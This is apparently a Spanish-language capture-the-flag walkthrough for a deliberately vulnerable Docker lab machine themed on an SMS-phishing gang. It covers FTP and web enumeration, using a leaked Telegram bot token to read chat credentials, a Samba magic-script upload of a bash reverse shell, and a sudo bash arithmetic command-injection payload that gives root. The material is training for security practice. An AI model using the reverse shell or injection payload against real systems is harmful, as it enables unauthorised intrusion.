CTF Smishing Intermediate
URL Download CTF = https://mega.nz/file/aMETwSKY#bRd1poVd5L-rN9bHA25z-gYL2rpVz5ahjirrq6WAczU
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip smishing.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_run.sh smishing.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-12 06:22 EDT
Nmap scan report for 172.17.0.3
Host is up (0.000028s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 101 104 322 Sep 12 11:34 note.txt
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Orange - Verificaci\xC3\xB3n de Seguridad
|_http-server-header: Apache/2.4.58 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Unix
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-09-12T10:22:31
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.78 seconds
Veremos varias cosas interesantes, entre ellas el puerto FTP
y el 80
, si entramos por el FTP
de forma anonima
ya que vemos que nos deja, veremos lo siguiente:
ftp anonymous@<IP>
Dejamos la contraseña en blanco y si listamos veremos esto:
229 Entering Extended Passive Mode (|||20638|)
150 Here comes the directory listing.
-rw-r--r-- 1 101 104 322 Sep 12 11:34 note.txt
226 Directory send OK.
Nos vamos a descargar la note.txt
para ver que pone.
get note.txt
note.txt
Te dejo esta nota para que entres en la web, ya que me han estafado mediante un smishing y me gustaria tu ayuda, quiero que encuentres a esos responsable, quiero que intentes acceder a sus servidores y ver quien esta detras de todo esto, ayudame por favor, contacte contigo por que se que eres el mejor hacker del mundo!!
Veremos que no hay gran informacion simplemente alguien contrato unos servicios de un hacker, para poder ver la estafa que hay montada, si entramos en el puerto 80
veremos que hay una pagina web simulando que es Orange
por lo que vemos es la pagina de los estafadores, como no vemos gran cosa, vamos a realizar un poco de fuzzing
.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt,zip -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.3/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt,zip
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 43490]
/security (Status: 200) [Size: 962]
/templates (Status: 200) [Size: 1939]
/contacts (Status: 200) [Size: 945]
/css (Status: 200) [Size: 929]
/js (Status: 200) [Size: 927]
/javascript (Status: 403) [Size: 275]
/utils (Status: 200) [Size: 1159]
/page.zip (Status: 200) [Size: 53387028]
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/controllers (Status: 200) [Size: 1846]
/server-status (Status: 403) [Size: 275]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================
Veremos muchas cosas, pero entre ellas hay algo muy interesante llamado page.zip
, vamos a ver que contiene.
wget http://<IP>/page.zip
Ahora si lo descomprimimos veremos la siguiente estructura de carpetas:
unzip page.zip
Info:
.
├── assents
├── contacts
│ └── contacts.txt
├── controllers
│ ├── CookieServelet.class
│ ├── CreditServelet.class
│ ├── LimitServelet.class
│ ├── PageServelet.class
│ └── UsersServelet.class
├── css
│ └── style.css
├── daos
│ ├── ConexionDDBBDAO.class
│ ├── CookieDAO.class
│ ├── CreditDAO.class
│ ├── LimitDAO.class
│ ├── PageDAO.class
│ └── UserDAO.class
├── index.html
├── js
│ └── script.js
├── page.zip
├── security
│ ├── apiTelegramBot.py
│ └── rateLimitPage.class
├── smishing
│ └── creditsCards.txt
├── templates
│ ├── admin.html
│ ├── cookies.html
│ ├── footer.html
│ ├── panel.html
│ ├── profile.html
│ └── run.html
└── utils
├── JWToken.class
└── UsersCookie.class
11 directories, 27 files
Veremos que es la estructura de la pagina entera, pero vemos un archivo muy interesante llamado apiTelegramBot.py
si vemos que hace por dentro, veremos lo siguiente:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
import time
import logging
from datetime import datetime
# Configuración de logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler("telegram_bot.log"),
logging.StreamHandler()
]
)
logger = logging.getLogger("TelegramBot")
# Configuración directa del bot
API_TOKEN_BOT = "123456789:AAE29fG7hT8KxZ3LmNOPqRstUvWxYzA1BCD"
CHAT_ID = "-41925391852"
class TelegramBot:
def __init__(self, token):
self.token = token
self.base_url = f"http://api.telegram.org/bot{self.token}"
self.last_update_id = 0
def get_me(self):
"""Obtiene información sobre el bot"""
url = f"{self.base_url}/getMe"
try:
response = requests.get(url)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
logger.error(f"Error al obtener información del bot: {e}")
return None
def get_updates(self, timeout=30, offset=None):
"""Obtiene actualizaciones (mensajes) del bot"""
url = f"{self.base_url}/getUpdates"
params = {'timeout': timeout}
if offset:
params['offset'] = offset
try:
response = requests.get(url, params=params)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
logger.error(f"Error al obtener actualizaciones: {e}")
return None
def send_message(self, chat_id, text, parse_mode=None, reply_to_message_id=None):
"""Envía un mensaje a un chat específico"""
url = f"{self.base_url}/sendMessage"
payload = {
'chat_id': chat_id,
'text': text
}
if parse_mode:
payload['parse_mode'] = parse_mode
if reply_to_message_id:
payload['reply_to_message_id'] = reply_to_message_id
try:
response = requests.post(url, json=payload)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
logger.error(f"Error al enviar mensaje: {e}")
return None
def send_document(self, chat_id, document_path, caption=None):
"""Envía un documento a un chat específico"""
url = f"{self.base_url}/sendDocument"
with open(document_path, 'rb') as file:
files = {'document': file}
payload = {'chat_id': chat_id}
if caption:
payload['caption'] = caption
try:
response = requests.post(url, data=payload, files=files)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
logger.error(f"Error al enviar documento: {e}")
return None
def get_chat_members_count(self, chat_id):
"""Obtiene el número de miembros en un chat"""
url = f"{self.base_url}/getChatMembersCount"
params = {'chat_id': chat_id}
try:
response = requests.get(url, params=params)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
logger.error(f"Error al obtener número de miembros: {e}")
return None
def get_chat_info(self, chat_id):
"""Obtiene información sobre un chat"""
url = f"{self.base_url}/getChat"
params = {'chat_id': chat_id}
try:
response = requests.get(url, params=params)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
logger.error(f"Error al obtener información del chat: {e}")
return None
def process_updates(self):
"""Procesa las actualizaciones recibidas"""
updates = self.get_updates(offset=self.last_update_id)
if not updates or 'result' not in updates:
return
for update in updates['result']:
update_id = update['update_id']
# Actualizamos el último ID procesado
if update_id > self.last_update_id:
self.last_update_id = update_id + 1
# Procesamos diferentes tipos de actualizaciones
if 'message' in update:
self.process_message(update['message'])
elif 'edited_message' in update:
self.process_edited_message(update['edited_message'])
elif 'channel_post' in update:
self.process_channel_post(update['channel_post'])
def process_message(self, message):
"""Procesa un mensaje recibido"""
chat_id = message['chat']['id']
sender_name = message['from'].get('first_name', 'Usuario')
text = message.get('text', '')
logger.info(f"Mensaje recibido de {sender_name} en chat {chat_id}: {text}")
# Comandos básicos
if text.startswith('/'):
command = text.split(' ')[0].lower()
if command == '/start':
self.send_message(chat_id, f"Hola {sender_name}! Soy un bot de ejemplo. ¿En qué puedo ayudarte?")
elif command == '/help':
self.send_message(chat_id, "Comandos disponibles:\n/start - Iniciar conversación\n/help - Mostrar ayuda\n/info - Información del chat\n/time - Hora actual")
elif command == '/info':
chat_info = self.get_chat_info(chat_id)
if chat_info and 'result' in chat_info:
info_text = f"Información del chat:\nID: {chat_info['result']['id']}\nTipo: {chat_info['result']['type']}\nTítulo: {chat_info['result'].get('title', 'No disponible')}"
self.send_message(chat_id, info_text)
elif command == '/time':
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
self.send_message(chat_id, f"Hora actual: {current_time}")
else:
self.send_message(chat_id, "Comando no reconocido. Use /help para ver los comandos disponibles.")
def process_edited_message(self, message):
"""Procesa un mensaje editado"""
logger.info(f"Mensaje editado en chat {message['chat']['id']}")
def process_channel_post(self, post):
"""Procesa un post de canal"""
logger.info(f"Post de canal en chat {post['chat']['id']}")
def run(self, poll_interval=5):
"""Ejecuta el bot en modo polling"""
logger.info("Iniciando bot de Telegram...")
# Verificamos que el bot es válido
bot_info = self.get_me()
if not bot_info or not bot_info.get('ok'):
logger.error("No se pudo verificar el bot. Revisa el token.")
return
logger.info(f"Bot iniciado: {bot_info['result']['first_name']} (@{bot_info['result']['username']})")
# Bucle principal
while True:
try:
self.process_updates()
time.sleep(poll_interval)
except KeyboardInterrupt:
logger.info("Bot detenido por el usuario.")
break
except Exception as e:
logger.error(f"Error en el bucle principal: {e}")
time.sleep(poll_interval)
def main():
# Crear instancia del bot con las variables predefinidas
bot = TelegramBot(API_TOKEN_BOT)
# Ejemplo de uso de las funciones
print("=== INFORMACIÓN DEL BOT ===")
bot_info = bot.get_me()
if bot_info and bot_info.get('ok'):
print(f"Bot: {bot_info['result']['first_name']} (@{bot_info['result']['username']})")
else:
print("Error: No se pudo obtener información del bot. Verifica el token.")
return
print("\n=== INFORMACIÓN DEL CHAT ===")
chat_info = bot.get_chat_info(CHAT_ID)
if chat_info and chat_info.get('ok'):
print(f"Chat: {chat_info['result'].get('title', 'Sin título')} (ID: {chat_info['result']['id']})")
else:
print("Error: No se pudo obtener información del chat. Verifica el ID.")
print("\n=== NÚMERO DE MIEMBROS ===")
members_count = bot.get_chat_members_count(CHAT_ID)
if members_count and members_count.get('ok'):
print(f"Miembros en el chat: {members_count['result']}")
print("\n=== ENVIANDO MENSAJE DE PRUEBA ===")
message = bot.send_message(
CHAT_ID,
f"🤖 Bot conectado correctamente!\nHora: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
)
if message and message.get('ok'):
print("Mensaje enviado correctamente!")
else:
print("Error al enviar mensaje.")
print("\n=== INICIANDO MODO POLLING (Ctrl+C para detener) ===")
# Iniciar el bot en modo polling (escucha de mensajes)
bot.run()
if __name__ == "__main__":
main()
Veremos que los estafadores tienen un bot
de Telegram
con el que todas las tarjetas de credito que se depositan en la pagina se las van enviando con dicho bot
al grupo de Telegram
, si vemos esta estableciendo la API
del Bot
y el Chat ID
del grupo de Telegram
, por lo que vamos añadir dicho dominio que pone api.telegram.org
al archivo hosts
para que podamos utilizar dicho bot
para obtener los mensajes que se vayan enviando desde dicho grupo, a ver si descubrimos algo interesante:
Conexión API Telegram Bot
nano /etc/hosts
#Dentro del nano
<IP> api.telegram.org
Una vez que lo guardemos vamos a entrar por dicho dominio poniendo lo siguiente para realizar la conexion con el bot
y ver si sigue funcionando.
curl 'http://api.telegram.org/bot123456789:AAE29fG7hT8KxZ3LmNOPqRstUvWxYzA1BCD/getUpdates?chat_id=-41925391852'
Info:
{"ok":true,"result":[]}
NOTA: Si por lo que sea te da un
500 error
significa que hay que esperar un poco mas hasta que el servicio se levante del todo, para que funcione.
Vemos que no nos aparece nada asi interesante y es por que cuando se envie un mensaje aparecera durante un tiempo corto en dicho chat update
, por lo que vamos a montarnos un script para ir refrescando cada 1 segundo e ir obteniendo cualquier chat que se hable.
fetch_telegram_updates.py
#!/usr/bin/env python3
import requests, json, time, os
# --- CONFIG descubierta en pagina.bak ---
TOKEN = "123456789:AAE29fG7hT8KxZ3LmNOPqRstUvWxYzA1BCD"
CHAT_ID = "-41925391852"
BASE_URL = f"http://api.telegram.org/bot{TOKEN}/getUpdates"
OUTFILE = "collected_updates.json"
POLL_INTERVAL = 1
def load_collected():
if os.path.exists(OUTFILE):
with open(OUTFILE, "r") as f:
return json.load(f)
return {"updates": []}
def save_collected(data):
with open(OUTFILE, "w") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
def main():
collected = load_collected()
print(f"Polling {BASE_URL}?chat_id={CHAT_ID}")
try:
while True:
try:
r = requests.get(BASE_URL, params={"chat_id": CHAT_ID}, timeout=5)
if r.status_code == 200:
payload = r.json()
if payload.get("ok"):
for up in payload.get("result", []):
msg_id = up["message"]["message_id"]
if not any(u["message_id"] == msg_id for u in collected["updates"]):
collected["updates"].append({
"message_id": msg_id,
"date": up["message"]["date"],
"text": up["message"]["text"]
})
print("Nuevo mensaje guardado:", up["message"]["text"])
save_collected(collected)
else:
print("Respuesta HTTP:", r.status_code)
except Exception as e:
print("Error en la petición:", e)
time.sleep(POLL_INTERVAL)
except KeyboardInterrupt:
print("\nDetenido. Mensajes guardados en", OUTFILE)
if __name__ == "__main__":
main()
Ahora lo ejecutaremos de esta forma:
python3 fetch_telegram_updates.py
Info:
Polling http://api.telegram.org/bot123456789:AAE29fG7hT8KxZ3LmNOPqRstUvWxYzA1BCD/getUpdates?chat_id=-41925391852
Nuevo mensaje guardado: Estaba revisando la web de estafas y me di cuenta de que nos hemos dejado un page.bak, quien ha sido?
Nuevo mensaje guardado: Tambien tenemos que cambiar la configuracion de nuestro SMB, que vi algo turbio...
Nuevo mensaje guardado: Por cierto Mark mi contraseña es SoyElMejorEstafadorDelMundoP@ssw0rd!-# cuando termines dimelo para cambiarla, acuerdate tambien del usuario neo jeje
Nuevo mensaje guardado: Venga chavales que hay que seguir estafando, a trabajarrr
Nuevo mensaje guardado: Por cierto Mark acuerdate de entrar por el nuevo dominio al login staff.login
Nuevo mensaje guardado: Hey tio, cuantas estafas llevamos ya?
Nuevo mensaje guardado: Pues tengo un numbers.txt con mas de 500.000 mil numeros para un smishing
Nuevo mensaje guardado: Recordatorio: mantenimiento el jueves.
Nuevo mensaje guardado: Reunión del equipo a las 10h.
Nuevo mensaje guardado: Bro me puedes pasar tu contraseña para meterme por el panel, es urgente!
^C
Detenido. Mensajes guardados en collected_updates.json
Despues de un rato esperando, veremos que ya se van repitiendo, por lo que suponemos que no hay mas mensajes interesantes, vamos a cerrarlo con Ctrl+C
y si leemos los mensajes, veremos varias cosas interesantes.
Por cierto Mark mi contraseña es SoyElMejorEstafadorDelMundoP@ssw0rd!-# cuando termines dimelo para cambiarla, acuerdate tambien del usuario neo jeje
Por cierto Mark acuerdate de entrar por el nuevo dominio al login staff.login
Por lo que vemos esta diciendo que hay otro dominio llamado staff.login
en el que tiene un login
para ellos, vamos añadirlo a nuestro archivo hosts
y entrar dentro de el.
nano /etc/hosts
#Dentro del nano
<IP> api.telegram.org staff.login
Lo guardamos y entraremos a dicho dominio a ver si carga.
Escalate user neopro (SMB)
URL = http://staff.login/
Info:

Veremos que si hay un login
por lo que vamos a probar las credenciales que hemos visto anteriormente a ver si sirven.
User: neo
Pass: SoyElMejorEstafadorDelMundoP@ssw0rd!-#
Metiendo dichas credenciales, veremos que si nos deja entrar, si nos vamos al apartado Perfil
veremos una foto de la torre eiffel
y despues una captura de una configuracion de SMB
:

Vemos que esta el usuario neopro
como usuario samba
, pero no tenemos ninguna contraseña, tambien vemos que esta un magic script
llamado neopro.sh
por lo que vamos a crear el archivo para tenerlo ya preparado.
neopro.sh
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Lo guardamos y vamos a probar a utilizar como contraseña para conectarnos al recurso compartido llamado NeoProShare
la palabra torre eiffel
ya que hay una foto de la misma y podria ser dicha contraseña.
smbclient //<IP>/NeoProShare -U neopro
Metemos como contraseña torre eiffel
...
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Sep 12 04:49:50 2025
.. D 0 Fri Sep 12 04:49:50 2025
82083148 blocks of size 1024. 0 blocks available
Veremos que estaremos dentro, acordemonos de que hay un magic script
, no veremos ningun archivo llamado neopro.sh
, por lo que podemos aprovechar esta vulnerabilidad ya que ahora si subimos un archivo llamado de la misma forma se va a ejecutar, por lo que vamos a ponernos a la escucha.
nc -lvnp <PORT>
Y ahora vamos a subirlo de esta forma para que se ejecute.
put neopro.sh
Ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.3] 58864
bash: cannot set terminal process group (45): Inappropriate ioctl for device
bash: no job control in this shell
neopro@f0f84f7c54a9:/srv/smb$ whoami
whoami
neopro
Veremos que ha funcionado, por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user trinity
Si listamos un poco el sistema, veremos un archivo interesante en la siguiente ruta:
ls -la /var/www/staff.login/
Info:
total 40
drwxr-xr-x 4 www-data www-data 4096 Sep 12 10:57 .
drwxr-xr-x 1 root root 4096 Sep 12 09:53 ..
drwxr-xr-x 3 www-data www-data 4096 Sep 12 09:59 assets
-rwxr-xr-x 1 www-data www-data 851 Sep 12 09:58 home.php
drwxr-xr-x 2 www-data www-data 4096 Sep 12 10:56 img
-rwxr-xr-x 1 www-data www-data 1064 Sep 12 09:58 index.php
-rwxr-xr-x 1 www-data www-data 79 Sep 12 09:58 logout.php
-rwxr-xr-x 1 www-data www-data 1077 Sep 12 09:58 profile.php
-rwxr-xr-x 1 www-data www-data 1282 Sep 12 10:57 users.php
Veremos un users.php
, vamos a ver que contiene dentro.
<?php
// Usuarios predefinidos (usuario => [password, nombre, bio, foto])
$users = [
"neo" => [
"password" => "SoyElMejorEstafadorDelMundoP@ssw0rd!-#",
"name" => "Neo",
"bio" => "Soy el elegido para hackear la realidad.",
"photo" => "img/neo.png",
"posts" => [
["img" => "img/local.jpg", "desc" => "Preparando el próximo ataque al mainframe."],
["img" => "img/smb.png", "desc" => "Configuracion de SMB, para que no se me olvide, que esta con el usuario neopro."]
]
],
"trinity" => [
"password" => "SuperP@ssw0rd!-#S3crt4ImpossibleD3D3c0d1f1c4r",
"name" => "Trinity",
"bio" => "Experta en infiltración digital y combate cibernético.",
"photo" => "img/trinity.jpg",
"posts" => [
["img" => "img/user2.jpg", "desc" => "Cifrado avanzado en proceso."],
["img" => "img/user1.jpg", "desc" => "Escaneo de vulnerabilidades activado."]
]
]
];
// Posts globales del foro
$forum_posts = [
["user" => "neo", "message" => "Acabo de infiltrarme en el sistema principal."],
["user" => "trinity", "message" => "VPN establecida, nadie nos rastreará."],
["user" => "neo", "message" => "Preparando ataque DDoS ético."]
];
?>
Veremos unas credenciales de un usuario llamado trinity
si listamos los usuarios a nivel local veremos que tambien esta creado y existe, por lo que vamos a probar esa contraseña para dicho usuario a ver si fuera la misma.
su trinity
Metemos como contraseña SuperP@ssw0rd!-#S3crt4ImpossibleD3D3c0d1f1c4r
...
trinity@f0f84f7c54a9:/var/www/staff.login$ whoami
trinity
Con esto veremos que estaremos dentro, por lo que leeremos la flag
del usuario.
user.txt
cbd5c6460dcda6db7c0b6120fe47de1f
Escalate Privileges
Si listamos la /home
del usuario trinity
veremos el siguiente archivo llamado secure.sh
.
-rwxr-xr-x 1 root root 722 Sep 12 12:10 secure.sh
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for trinity on f0f84f7c54a9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trinity may run the following commands on f0f84f7c54a9:
(ALL : ALL) NOPASSWD: /home/trinity/secure.sh
Veremos que podemos ejecutar el archivo como el usuario root
, por lo que vamos a ver que hace por dentro dicho archivo.
#!/bin/bash
# Inicio del script de verificación de número
echo -n "Checker de Seguridad "
# Solicitar al usuario que ingrese un número
echo "Por favor, introduzca un número para verificar:"
# Leer la entrada del usuario y almacenar en una variable
read -rp "Digite el número: " num
# Función para comprobar el número ingresado
echo -e "\n"
check_number() {
local number=$1
local correct_number=666
# Verificación del número ingresado
if [[ $number -eq $correct_number ]]; then
echo -e "\n[+] Correcto"
else
echo -e "\n[!] Incorrecto"
fi
}
# Llamada a la función para verificar el número
check_number "$num"
# Mensaje de fin de script
echo -e "\n La verificación ha sido completada."
Veremos que esta validando si metemos bien un numero o no, pero vemos una vulnerabilidad bastante interesante, y es en la comparacion logica
de los numero introducidos por el usuario y con el que lo compara, no vemos que este sanitizando la entrada a que sea solamente un numero, por lo que podremos meter lo que queramos, vamos a probar a utilizar una inyeccion de comandos
a nivel de bash
de esta forma:
sudo /home/trinity/secure.sh
Ahora cuando nos pida el numero, vamos a meter lo siguiente:
test[$(/bin/bash >&2)]+1
Info:
root@f0f84f7c54a9:/home/trinity# whoami
root
Y con esto veremos que ya seremos root
, por lo que vamos a leer la flag
del usuario root
.
root.txt
049b737e4dcd097cb2ce0b54cef950e9
Last updated